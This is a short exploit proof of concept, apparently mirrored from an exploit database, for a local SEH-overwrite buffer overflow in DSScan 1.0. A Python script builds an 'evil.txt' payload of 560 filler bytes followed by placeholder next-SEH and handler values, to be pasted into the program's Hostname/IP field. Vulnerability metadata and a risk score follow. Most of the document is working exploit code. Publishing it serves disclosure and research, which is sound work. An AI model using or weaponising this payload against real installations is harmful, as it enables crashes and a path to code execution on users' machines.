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DSScan 1.0 - Local Buffer Overflow (PoC)
#!/usr/bin/python
# Exploit Title : DSScan v1.0 Hostname/IP Field SEH Overwrite POC
# Discovery by : Anurag Srivastava
# Email : [email protected]
# Website : http://pyramidcyber.com/
# Discovery Date : 18/08/2017
# Software Link : https://www.mcafee.com/in/downloads/free-tools/dsscan.aspx#
# Tested Version : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS : Windows 10 Home x64
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################
#SEH chain of main thread
#Address SE handler
#0019F900 43434343
#42424242 *** CORRUPT ENTRY ***
# Offset to the SEH Frame is 560
buffer = "A"*560
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()Data
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18 Aug 2017 00:00Current
7.4High risk
Vulners AI Score7.4